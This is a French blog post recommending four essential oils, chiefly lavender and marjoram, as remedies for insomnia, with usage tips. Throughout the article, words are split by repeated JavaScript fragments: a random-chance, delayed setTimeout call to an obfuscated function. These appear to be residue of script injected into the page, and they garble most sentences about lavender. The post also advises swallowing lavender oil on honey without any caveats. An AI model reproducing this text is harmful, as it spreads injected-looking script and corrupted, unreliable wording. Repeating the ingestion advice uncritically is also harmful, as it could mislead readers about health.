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1 mouton, 2 moutons, 3 moutons …

Huiles essentielles contre l'insomnie
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Contrariétés ? Inquiétude ? Surmenage ? Entre rythme de vie effréné et petits soucis du quotidien, il n’est pas toujours évident de trouver le sommeil. Pourtant, passer une bonne nuit est essentiel pour l’équilibre physique comme psychologique.

Pourquoi ne pas essayer l’aromathérapie pour rééquilibrer votre cycle et mettre au point un rituel sommeil naturel auquel Morphée ne saura pas résister ?


Les clés d’un sommeil réparateur : 4 huiles essentielles pour dormir comme un bébé

Les huiles essentielles sont riches en principes actifs naturels et peuvent rapidement devenir votre allié quandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and il s’agit de retrouver le sommeil. Pour dormir à poings fermés, les plus efficaces sont celles qui ont des vertus apaisantes et relaxantes. J’ai sélectionné le top 4 des huiles essentielles contre l’insomnie et les nuits blanches.

 N°1 : Huile Essentielle de Lavandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande Vraie

L’huile essentielle de lavandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande vraie est la championne des huiles essentielles apaisantes avec son action trois-en-un: calmante, sédative et décontractante. Angoissé ? Anxieux ? Ou tout simplement un peu plus stressé que d’habitude ?

Pas de panique, une petite cuillère, du miel et 2 gouttes d’huile essentielle de lavandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande vraie et vous dormirez comme un bébé. Pour les adeptes du parfum de lavandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande comme moi, vous pouvez faire un massage à l’huile essentielle de lavandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande vraie sur le plexus solaire (du sternum au nombril) avant de dormir. J’aime bien aussi déposer quelques gouttes sur mon oreiller avant de dormir: relaxation au doux parfum de lavandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande assurée.

N°2 : Huile Essentielle de Marjolaine

L’huile essentielle de marjolaine est un bon anti insomnie grâce à ses propriétés tranquillisantes.

Je mélange 25 gouttes d’huile essentielle de marjolaine, de lavandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}